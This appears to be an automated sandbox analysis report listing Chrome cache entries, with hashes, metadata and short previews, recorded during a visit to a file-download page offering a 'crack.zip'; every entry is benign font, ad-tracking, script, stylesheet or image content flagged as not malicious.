SSDEEP:	384:A3Bw3VF3G3M3RUwmF7rovwXF8qj6wAF5paFwJFCINYw6F3nUDwrFomPOwUFF125G:0y72gUL5F1A
MD5:	1535AB95AE017577B9C386B35A1CD5EE
SHA1:	2DAA147654A80E47E16524AE15B678F59EE98514
SHA-256:	468B3E9AD7EB860239ED3E6EBA32E2E0FF79EE9C2BBF132F18A4D9C0809716E3
SHA-512:	BAA4E44360A3DE3EA20E2426C690833A3CC445B15CE847D74C20C254B3B1EF73192118F0129CF6C4EF1F371FF47BBB1F75923104D517BD3D9B46E94F56E42DEA
Malicious:	false
Reputation:	unknown
URL:	"https://fonts.googleapis.com/css?family=Montserrat:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Montserrat';. font-style: italic;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUQjIg1_i6t8kCHKm459WxRxC7mw9c.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Montserrat';. font-style: italic;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUQjIg1_i6t8kCHKm459WxRzS7mw9c.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese /.@font-face {. font-family: 'Montserrat';. font-style: italic;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUQjIg1_i6t8kCHKm459WxRxi7mw9c.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext */.@font-face {

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1839
Entropy (8bit):	4.567440959075912
Encrypted:	false
SSDEEP:	48:m0H0pR8gNN3sjdmaXuN0cO0KN0o0qyyFN05iereDHB:m0H0RD50r080o0qyyT0EHB
MD5:	F2AE4810B618B8843DF5265F6320F1A4
SHA1:	9F7877C38A4984D932D6065B574E6D226FC5196C
SHA-256:	E1A3214E6AD4FE4355C5B99490B2E66ED2331AE65F8D7BDB8A864552C4532DFB
SHA-512:	32EE7106D9D573AB630B398801EAC3A375E2A293CF8F59BF99635AB78CFFACBB37178FCE981070BDEC064B75C2974883F57288FBE6721E229B913012131A6CBA
Malicious:	false
Reputation:	unknown
URL:	https://cdn.themoneytizer.fr/ads/lib_adagio.js
Preview:	const keySessionLastActivity = 'sessionLastActivity';.const keySessionBatchKeyword = 'sessionBatchKeyword';.const batchKeywordClient = 'revenue-launch-batch1-client';.const batchKeywordServer = 'revenue-launch-batch1-server';..function canAccessTopWindow() {. try {. if (window.top.location.href) {. return true;. }. } catch (error) {. // console.log('canAccessTopWindow', error);. return false;. }.};..function getWindow() {. return canAccessTopWindow() ? window.top : window.self;.};..function getBatchKeyword() {. let batchKeyword = batchKeywordClient; // Default to client in case of error.. try {. const w = getWindow();. const ls = w.localStorage;. if (!ls) {. // console.error('localStorage is not supported');. return batchKeyword;. }.. // Get the current timestamp. const currentTime = new Date().getTime();.. // Reset the session after 30 minutes of inactivity.

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	50208
Entropy (8bit):	3.7232264743291714
Encrypted:	false
SSDEEP:	768:x4wSS1mgrTW7eXUVjaiSqRI5nRz9q3VBF8D103aMgg9iJYYTCszA0oB00crUy:x4wSSFyeSDSnDq3Vj4g9iJY8CsNoB0
MD5:	8A300A9FB258C5E82A2CC9B751CC1B19
SHA1:	07F8DB6CC798916AEB9DE0C6FCC5EF08A96DC9D5
SHA-256:	F89D0A653AE729F51C9D245A90507D3E45543D9CC74E08908C4FB4EFA3524327
SHA-512:	01564DD0AD0D8DFDD0557252DFF0A0F991F7F4D03B984A56B9B1175826F9E4CA6EEDA0A29AEC84A51F6BC575F26D9B7C5D17E80868110A88C4D0B1C16F89AC34
Malicious:	false
Reputation:	unknown
Preview:	<svg width="369" height="48" viewBox="0 0 369 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M4.4502 11.2568L7.29395 3.04688H8.72949L5.03809 13H3.87598L0.191406 3.04688H1.62012L4.4502 11.2568ZM15.6953 8.39941H11.3818V11.9268H16.3926V13H10.0693V3.04688H16.3242V4.12695H11.3818V7.32617H15.6953V8.39941ZM21.6768 8.97363H19.3389V13H18.0195V3.04688H21.3145C22.4355 3.04688 23.2969 3.30208 23.8984 3.8125C24.5046 4.32292 24.8076 5.06576 24.8076 6.04102C24.8076 6.66081 24.639 7.20085 24.3018 7.66113C23.9691 8.12142 23.5042 8.46549 22.9072 8.69336L25.2451 12.918V13H23.8369L21.6768 8.97363ZM19.3389 7.90039H21.3555C22.0072 7.90039 22.5244 7.73177 22.9072 7.39453C23.2946 7.05729 23.4883 6.60612 23.4883 6.04102C23.4883 5.42578 23.3037 4.9541 22.9346 4.62598C22.57 4.29785 22.0413 4.13151 21.3486 4.12695H19.3389V7.90039ZM32.9834 4.12695H29.7842V13H28.4785V4.12695H25.2861V3.04688H32.9834V4.12695ZM35.8682 13H34.5557V3.04688H35.8682V13ZM45.2812 3.04688V9.81445C45.2767 10.7533 44.9805 11.5212

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	30
Entropy (8bit):	3.9483943455364026
Encrypted:	false
SSDEEP:	3:YH/XHfETmn:YPsS
MD5:	1C686A255150DDECFC5D91AF4B128B0B
SHA1:	A6767D4B4846B16A8A4BA9C2568E2AFFFC286992
SHA-256:	B04CD869CFD41A48C006458F71969A0EB26F33FEC12F3CFE00408F8B73BF3FF8
SHA-512:	4E0D278BC159F289FBE3BBE04D874A7120BEAF4E45F05B03A566D513C4CCC2905A4ADE05D3DD92B169F595D3DC5D03AEE982B0713970C21F9B5A65DC0B17AD6D
Malicious:	false
Reputation:	unknown
URL:	https://id5-sync.com/bounce
Preview:	{"bounce":{"setCookie":false}}

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	34
Entropy (8bit):	3.5251270918749356
Encrypted:	false
SSDEEP:	3:n9m6QiFL4:nVm
MD5:	B205296F7C49C67BAF5B78E8163061A7
SHA1:	828DED5C881601F44CE02CCB9E8B98D214B5E9AA
SHA-256:	281A6CECFF9B473286243BDC58329C1D8141B979E8985EA968D7D975F3A50E05
SHA-512:	ABBB243E84448F153F337C61919C36F68F2503F14F7301A903ED76B5A321C60C09C5E5D1174E77EBE3199A1F7A900A0668555B729F008547DD26A00937FF7B5B
Malicious:	false
Reputation:	unknown
Preview:	partner parameter must not be null

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3894
Entropy (8bit):	4.371801586765595
Encrypted:	false
SSDEEP:	96:DPjPB+YZ7ozDCcKGrzGA0yOFGF/QFtEoiSGz:XB+m7ozGxOKvysiSGz
MD5:	9DA2703E284A68F7CF5EAC9182B5C455
SHA1:	55B751E55972B7228303A5E5011882515F81DB25
SHA-256:	97C32278E8275102822DD3F18F9DE62B7FF1F796BB43CF04C0845114EC912D16
SHA-512:	3A432FE92B79DACE5DCF725D0A05A3B0F222FAAFDD4B76345527241A00F613C030A6BE9FBEE3326AF380806E7AF7DC638E0B09FEADD9DCD4FDDBB7676F0EA0EF
Malicious:	false
Reputation:	unknown
URL:	https://tag.leadplace.fr/libJsLP.js
Preview:	var libJsLeadPlace = {. _author: "LeadPlace Dvpt",. _version: "2.0",. _scriptIframe: "//" + "tag.leadplace.fr" + "/wckr.php",. _vendorTemelioId: 244,. SendtoLPbyIframe: function (_param) {. var _ifr = document.createElement("iframe");. if (!window.__tcfapi) {. // find the CMP frame. var frame = window;. var cmpFrame;. var cmpCallbacks = {};.. while (!cmpFrame) {. try {. if (frame.frames["__tcfapiLocator"]) {. cmpFrame = frame;. break;. }. } catch (e) {}. if (frame === window.top) {. break;. }. frame = frame.parent;. }.. /*. Set up a __tcfapi proxy method to do the postMessage and map the callback.. * From the caller's perspective, this function behaves identically to the. * CMP API's __tcfapi call. */.. _ifr.__tcfapi = function (cmd, version, callback, arg) {. if (!cmpFrame) {. // in this case the CMP is manage

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23553)
Category:	downloaded
Size (bytes):	23678
Entropy (8bit):	5.427979461148156
Encrypted:	false
SSDEEP:	384:EqhROTku6loITotJt0++gdrDRvDe6AuXlnqkxXnATMqBpbKRUQ7LPxxGTyA4tt/:EJTku6lYt0mg6/qYATdBpbyxxkO/
MD5:	6EF104090AB8672EA053D27FAAFD4EE9
SHA1:	D7217A3C3A2F5D363396E28C8AE2B96DF1C2D3F5
SHA-256:	45A4C240A17A4D5F925EF0E125B86D882C6AD7549028D9CBF6F4F06FD1DD897D
SHA-512:	92205501B1B01F4173A16A57AAB0D847C9F574FC1A44A14D62E84AEC7EBCCAACC399EEC6823ADF082E7EBE766EBC8BA8C580E69C73CC7203D8C4C22B3660F6E2
Malicious:	false
Reputation:	unknown
URL:	https://secure.quantserve.com/quant.js
Preview:	/* Copyright (c) 2008-2023, Quantcast Corp. https://www.quantcast.com/legal/license /.!function(){"use strict";var e="qcSes";function t(){var e=r();return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(t){var n=(e+16Math.random())%16\|0;return e=Math.floor(e/16),("x"===t?n:3&n\|8).toString(16)}))}var n=function(){try{if(!window.sessionStorage)return t()}catch(e){return t()}var n;try{if(n=window.sessionStorage.getItem(e))return n}catch(e){return t()}n=t();try{window.sessionStorage.setItem(e,n)}catch(e){}return n}();function r(){return(new Date).getTime()}function o(){return new Date}function i(e){var t=new Date(2e3,e,1,0,0,0,0),n=t.toUTCString(),r=new Date(n.substring(0,n.lastIndexOf(" ")-1));return t.getTime()-r.getTime()}function a(){return Math.round(2147483647*Math.random())}/qcdbgc=1$/.test(window.location.toString());function c(e,t){"undefined"!=typeof console&&console.log.apply(console,[e+" "+o().toString()].concat([].slice.call(t)))}var u=function(){for(var e=[]

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42894), with no line terminators
Category:	downloaded
Size (bytes):	42894
Entropy (8bit):	5.1442577143313475
Encrypted:	false
SSDEEP:	768:hStyRbNWmYd7ZTt6vw7R01rnk6BcxL+zhRNxA5l2ng7ytcKaWDxQ:hStyRsmYd7ZTt6+R9
MD5:	C3CF3362AC1B65704603FA5FC3B9CFFF
SHA1:	73C2CE95CA7559B61D73CED1E892B59CB523670F
SHA-256:	AD58ED0CB9AA4FED41A85AA07BC92963B6A48A0A90C9CE466563B1B9D69981B9
SHA-512:	83CFF980BF3E6D3DD6BB03BE96B92ACE0952924CC568DC09E47463E048EB67271F676EF924C613DC446AB52F4B50C6BEAA1691C8A9810CB2102E093E7D263194
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/css/jquery.mCustomScrollbar.min.css
Preview:	.mCustomScrollbar{-ms-touch-action:pinch-zoom;touch-action:pinch-zoom}.mCustomScrollbar.mCS_no_scrollbar,.mCustomScrollbar.mCS_touch_action{-ms-touch-action:auto;touch-action:auto}.mCustomScrollBox{position:relative;overflow:hidden;height:100%;max-width:100%;outline:0;direction:ltr}.mCSB_container{overflow:hidden;width:auto;height:auto}.mCSB_inside>.mCSB_container{margin-right:30px}.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-right:0}.mCS-dir-rtl>.mCSB_inside>.mCSB_container{margin-right:0;margin-left:30px}.mCS-dir-rtl>.mCSB_inside>.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-left:0}.mCSB_scrollTools{position:absolute;width:16px;height:auto;left:auto;top:0;right:0;bottom:0;opacity:.75;filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)"}.mCSB_outside+.mCSB_scrollTools{right:-26px}.mCS-dir-rtl>.mCSB_inside>.mCSB_scrollTools,.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{right:auto;left:0}.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{left:-26px}.mCSB_scrollTools .mC

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 87a, 88 x 31
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.883729336046194
Encrypted:	false
SSDEEP:	6:Frg5LM7g6ROXe/udgxvH/QTQLXcDoG5BaxPuYmzt9wuk4bYRHnirZL+QxW:a52g6ROO9xvIEXEo7xGYmzgCbY9ngLpW
MD5:	7B25B20AC31706E7CA86A5FFD09C75D5
SHA1:	830C6230D01396292AA9C76F9579E3FD0FF8D000
SHA-256:	A73D6739819BA98621E4BDB24BC2FBC2C88583479558B9878E5B986D3B59341D
SHA-512:	B27B591AC1FF3988D8AB7EDAD8610CB4076BE9EE5F2F1F6655B63715129E66E5203F98A0AA8029FBF8C32D6762BF62988B059986BA0724E5B8A3D4F36262DB2D
Malicious:	false
Reputation:	unknown
Preview:	GIF87aX.........fff.............3..f.........................,....X........I..8..7.`(.di.hZJj.0..tm...n..@./H.....1.....fk......v..V...U2...X.a.Ek..y"~"&px.*P..nz..q..uu..{i...Y...n...xsc.yf..ez\|j..............s.wd....h}......^......t...............vc................................\5\|.d)C.J.Z...i.....vtp.2%#. '...I..I."OrL....I^.,"sf..8sb...;

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 87a, 88 x 31
Category:	downloaded
Size (bytes):	362
Entropy (8bit):	6.883729336046194
Encrypted:	false
SSDEEP:	6:Frg5LM7g6ROXe/udgxvH/QTQLXcDoG5BaxPuYmzt9wuk4bYRHnirZL+QxW:a52g6ROO9xvIEXEo7xGYmzgCbY9ngLpW
MD5:	7B25B20AC31706E7CA86A5FFD09C75D5
SHA1:	830C6230D01396292AA9C76F9579E3FD0FF8D000
SHA-256:	A73D6739819BA98621E4BDB24BC2FBC2C88583479558B9878E5B986D3B59341D
SHA-512:	B27B591AC1FF3988D8AB7EDAD8610CB4076BE9EE5F2F1F6655B63715129E66E5203F98A0AA8029FBF8C32D6762BF62988B059986BA0724E5B8A3D4F36262DB2D
Malicious:	false
Reputation:	unknown
URL:	https://counter.yadro.ru/hit?t52.6;rhttps%3A//oxy.st/;s1280102424;uhttps%3A//download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.6960083325253306
Preview:	GIF87aX.........fff.............3..f.........................,....X........I..8..7.`(.di.hZJj.0..tm...n..@./H.....1.....fk......v..V...U2...X.a.Ek..y"~"&px.*P..nz..q..uu..{i...Y...n...xsc.yf..ez\|j..............s.wd....h}......^......t...............vc................................\5\|.d)C.J.Z...i.....vtp.2%#. '...I..I."OrL....I^.,"sf..8sb...;

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (368)
Category:	downloaded
Size (bytes):	8720
Entropy (8bit):	4.06353834740537
Encrypted:	false
SSDEEP:	192:l0c+9gPltgX4UpfVSIWuVSN2CmU65U6noXeRht:l0c+KPltgREWTgeRht
MD5:	86FE5C70D7107CC8AB30E192072AC15D
SHA1:	15CD81D73DDEC861349D2F1B2D4CF10EAEFA9373
SHA-256:	B1DE65CB0D3A28AEED81012371764B92D0AC30077EDB2D768DFDFD8640CFC7C1
SHA-512:	CDE0CB8C8F2CEC2D40EEE1BB0B2B1BE68218DF4363048969B23E578E57EB3656594B62EE1EF7820D9DE370FB3C0382934A306EB6FB2B95355B1D3E1C43C2A5B9
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/js/main.js
Preview:	(function ($) {. "use strict";.. jQuery(document).ready(function ($) {... $('.slider-wrapper').on('init', function (e, slick) {. var $firstAnimatingElements = $('div.slider-single-item:first-child').find('[data-animation]');. doAnimations($firstAnimatingElements);. });. $('.slider-wrapper').on('beforeChange', function (e, slick, currentSlide, nextSlide) {. var $animatingElements = $('div.slider-single-item[data-slick-index="' + nextSlide + '"]').find('[data-animation]');. doAnimations($animatingElements);. });. $('.slider-wrapper').slick({. autoplay: true,. autoplaySpeed: 7000,. dots: false,. fade: true,. cssEase: 'cubic-bezier(0.7, 0, 0.3, .1)',. });.. function doAnimations(elements) {. var animationEndEvents = 'webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend';. elements.each(functio

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	62
Entropy (8bit):	4.814340915821438
Encrypted:	false
SSDEEP:	3:YQ3B/HByWxE+LV4jUPGXKwq:YQ3ZHByWt
MD5:	F4596B77DAB419CF19B0B06DCEFB1CD0
SHA1:	5D6653E1A8CD314CFCFC388ECF11292723268A90
SHA-256:	CAF33D09133BCF789E703491CE7E25DD5017C67B9F957FFB554456839EA518D1
SHA-512:	F786BC6EFD212B357DCAD54A38CCCB907614F458ED229BCB0561AD5C3DD9174B8D2C62CF090B236053428532BFEAA6A9DEC84FCD28A5F9C3FC0BD3F0EAC5574B
Malicious:	false
Reputation:	unknown
Preview:	{"user_id":"dNts6306JSIF1v1xnnpjsT","skip_subscription":false}

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32001), with CRLF line terminators
Category:	downloaded
Size (bytes):	45483
Entropy (8bit):	5.421205425443187
Encrypted:	false
SSDEEP:	768:7AGHCAGHzQO8nAAe1l6bV6JUOxOyywsvQm77xjBFH/Sx1iJb2G:7AGHCAGHwe26JUOxOOUjBb
MD5:	9DF3CFDCC9B72F1AA24E2E114455AE7A
SHA1:	E6AC207CDB6C4591F2D39F2A645F6DBF42534F89
SHA-256:	5AB5F19F9BD4A4DDCF14235FC1684EEFE7CFBFBC33F0A1FCE661B13DE43092BE
SHA-512:	F324195BE1DD10B907F56B118D23AEA270121ACE3808F84E790C3EEB83081848142C0A75544C08DF6F8FC092583EB7CD7D579147233BEC085B470930D6CD84D0
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/js/jquery.mCustomScrollbar.concat.min.js
Preview:	/* == jquery mousewheel plugin == Version: 3.1.13, License: MIT License (MIT) /..!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b\|\|window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1l)),0!==m\|\|0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j=q,m=q,l=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j=r,m=r,l=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f\|\|f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f)

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (539), with no line terminators
Category:	dropped
Size (bytes):	539
Entropy (8bit):	4.598912011399093
Encrypted:	false
SSDEEP:	12:iWRSafoJfAAf/0HR8/JKAX8iyyyyyyyy9/yF5UFWRSy:iWSa7Af2tAvegy
MD5:	07DA4F027F7F12613DCAE4E26C25A6C5
SHA1:	CDB7051ABE6EEC8126CACE4503A1E94FBE53EA3B
SHA-256:	C25E9C93CD91E782F9FED1463383469EA2A23B80556A6DA6E97D0083170D30D8
SHA-512:	E542E97E814BA1266B55D51CFEFA69BACD2148B24A5AE12493422F2F46AAB4E2AE5C6908EB240E9BC27E764B9F2FBD9A96289F16B0F31F6997340061E7D4B4F9
Malicious:	false
Reputation:	unknown
Preview:	Required request body is missing: public org.springframework.http.ResponseEntity<io.id5.fetch.request.FetchResponseDto> io.id5.fetch.FetchController.fetchClientToServer(java.lang.Long,io.id5.fetch.request.FetchRequestBody,java.lang.Integer,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.Long,java.lang.String,java.lang.String,java.util.List<java.lang.String>,jakarta.servlet.http.HttpServletRequest,jakarta.servlet.http.HttpServletResponse)

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	108
Entropy (8bit):	4.736726017985269
Encrypted:	false
SSDEEP:	3:YxhA/CwSsRBVWtQqE1JnshCNNpAcANQDxP7QxMn:YnDosmshWAcANQtPL
MD5:	DE64040EEA32D5349E7ED1EBCFDA69CE
SHA1:	D7F6CECF2E3A19FD35A196D6AAAD55A5D64B9DF3
SHA-256:	70B8FBD81718A64414521CC2951F8D3EF09A8A152FF6FB4C28F38D8CFA11308B
SHA-512:	45838E7ECE27541C31AD907B7C7F2E38107531276141343039E74769D8EDBC81CA45A072707B8BA7D57F0B7388E684E63519CC4138E4F027FF273935473D33AB
Malicious:	false
Reputation:	unknown
URL:	https://match.adsrvr.org/track/rid?ttd_pid=0fkciot&fmt=json
Preview:	{"TDID":"7a9427d7-5567-4b13-ad78-e53aa5bc8a0b","TDID_LOOKUP":"TRUE","TDID_CREATED_AT":"2024-05-15T09:15:03"}

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1429
Entropy (8bit):	4.922465736637762
Encrypted:	false
SSDEEP:	24:NEEqHaMEdaejaATAU7FYsXv4vEdyDxj5zKaUjM49j7jJXaAPdylj5zKzljMe3:NEDHajVjQUaDvEdCdzVUFlaAPdqdzY5
MD5:	B53436C6EC7E681A3EDCEC13F42EC715
SHA1:	0AA1B02B89E734193D43D6385EBC5939BB666FD0
SHA-256:	3B28DD2B4EDA9085EE35FB2AAE1D706C6D003C2521E4AD62BB2EF2E6969BCA83
SHA-512:	26012F31616624FE4E082265CD8828B9994B3AF733603353C9E468E35162368E0A8388D6D6944D8C9F10AF0A53C2CEC266786A6B7239C4B76356FBCC45698E86
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/js/ajax-subscribe.js
Preview:	$(document).ready(function () {.. var $form = $('#mc-embedded-subscribe-form').. if ($form.length > 0) {.. $('form input[type="submit"]').bind('click', function (event) {.. if (event) event.preventDefault().. register($form).. }).. }..})....function register($form) {.. $('#mc-embedded-subscribe').val('Sending...');.. $.ajax({.. type: $form.attr('method'),.. url: $form.attr('action'),.. data: $form.serialize(),.. cache: false,.. dataType: 'json',.. contentType: 'application/json; charset=utf-8',.. error: function (err) { alert('Could not connect to the registration server. Please try again later.') },.. success: function (data) {.. $('#mc-embedded-subscribe').val('subscribe').. if (data.result === 'success') {.. // Yeahhhh Success.. console.log(data.msg).. $('#mce-EMAIL').css('borderColor', '#ffffff').. $('#subscribe-result').css('color', 'rgb(53, 114, 210)').. $('#subscribe-result').html('<p>Thank

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	435
Entropy (8bit):	4.945463188829931
Encrypted:	false
SSDEEP:	12:hYeBx//A4xTDNDUnJmIOTB4JmIOTpNJmIO1yMu4IQL:hYeBxwu2wwwFwYMu4j
MD5:	4B81E967DF07D41C24270CCF669F7336
SHA1:	FD711B797D234F508E766F999235EFF0AA409E8F
SHA-256:	4A842D3295B35D0FDBAED094D22F5926F2BCAA2D892EC7EA9A9A89C1F84B33BF
SHA-512:	10FA559F1132F93DD803ECA540198E9A41DAAE95DDA1659766484A213D0D3AA9F1514D0A422DD86F6BD61E8D4F62A0867A50C42B3391EE8CEF70EDFBED697F99
Malicious:	false
Reputation:	unknown
URL:	https://csync.smartadserver.com/diff/rtb/csync/CookieSync.html?nwid=1097&dcid=14&gdpr=0&gdprc=
Preview:	<!DOCTYPE html>.<html xmlns="http://www.w3.org/1999/xhtml">.<head>. <title>CookieSync Page</title>.</head>.<body>. <script src="https://ced-ns.sascdn.com/diff/js/modules/cmp.js" type="text/javascript"></script>. <script src="CookieSync.min.js" type="text/javascript"></script>. <script src="TemplatePool.min.js" type="text/javascript"></script>. <script>. sasCookieSync.fireCSync();. </script>.</body>.</html>.

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.383063383509938
Encrypted:	false
SSDEEP:	3:hJAyTQAV6LASOqRHJQGRsdIjhn:hJhQzdOqRHWajhn
MD5:	70F167A30F2984C73424B2DFA4F4595B
SHA1:	E9A42D7C3718133E48939764A8384FCBE8D4C806
SHA-256:	96B4878DF8E1604830E9201E0DE0BBDCF234C21B22E81C85F935EC1F7AEEEE8C
SHA-512:	1BF00A76B086A5E61D4C00F22E3B0B9AD4DA0EA87DA40181E742ADF3C87B030AA14A477076EDD6A89C9F98D3CDB2EC98BADBDED6A07E141EA541C73A67AC6D08
Malicious:	false
Reputation:	unknown
Preview:	rubicon,id5,dbm,OPENX,app_nexus,pubmatic,firstId,pub_common,uid2

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 201 x 45, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6078
Entropy (8bit):	7.930380272941984
Encrypted:	false
SSDEEP:	96:Kqx6fA7qB24Njk9xyPcVtIOLp9+548XfnFRPXdp3vIo4C1Qdnwg0YeTKBvVq8y6u:Kqq64N40eO1TdRPtp3wNdV0hTEtq8y6u
MD5:	946ED1D2BD247854FA58E938DE28EE95
SHA1:	883CDA7EE0087E29A32F07B6C8EAD3E8DF5DB738
SHA-256:	BFE6C8B9CF34578F573091BB118F86A10B918B7D530B25107648F12158759E85
SHA-512:	DB323A854FBBDBC7A3418EAF3A9F8169373753801402C126BA3004F02CCE7C5B9BEF81FBE8856F30BFC738825E47E9D886A84935EDCE8FFEF3E72FB949843785
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......-.......O.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs...........~...."IDATx..y.....zz.f.a...dU....q..PL$.1..[Pc.}...%q.{y./...L4&...IT4.<.AE....E.e...fc..........i.'.0..?..{o..T.:.%. 6.........S.....o._..yNH.T.......(...7;.f@NxE......n.z.YA..m..'...2....ir.;. ..2..."8.8.Lb.{.6.../:.(}a.....M... .Rb.OkZF,....U;...Q.q.Q..1..x.......!.`.D:..Q.....s.f...nb...A........u?.....4.. ..F..$..Q...v.. .Z..s..r.B!8.$c..#2.'"..D.A.b.).\|R.z.j...m.........c.(.a...4.G@..<1.V..._.u}2.....A.<$e.....oT?..&.)<I..Y ;..3.0..Q9..}sB.r3B..h."..6-)o.......IC.9-.Z.]NH.O....U.......g..8=..$a...7\|....O!.F.Q.N....Y.......K3.......6.._U.2.....I.I..Q....5#.......A......K.Z..#.Vm..H.!%./_6,.G'.d.....T.z.K..w}..~>V-.Gq..+.....a...H=8...$;k.......m.S.q..9.O..;.`......,..<g..g.....iP....i...P=8\|..$....w..v.S.j..v.o;...Gd.\|...a]...nix..2C.....[.2.M7.........'.`.[.w.E........vh....C. .C.._.aHni....

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 124 x 49, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2059
Entropy (8bit):	7.823522728741164
Encrypted:	false
SSDEEP:	48:W/6vktgFDyNqBERLBgY/Zu67F3n+Wy7J5tlLoOsDFJNd5PEYFbqwgI8c:WSvktgFDIqOJBPJIJ5nLoDD3NddEYIK9
MD5:	B08166A270B58C28D429BF2F9FFECE6C
SHA1:	91DAB55CBE8C802A7C56CD9D2FFAEE9CCEA4A49F
SHA-256:	A21A9FA89FB6DD8C8E84907A99B0374ABDF641C71C55E0283B7758E8F2A12507
SHA-512:	A2D7888492DD0F476A33AAB86B1D372AA9BFD204567B1AF124A1C086C8911F711E1DED079A9B7041CA02FA5622AFC2A31CD75F83F6DD2684F95A90381B868F58
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/images/sprite3.png
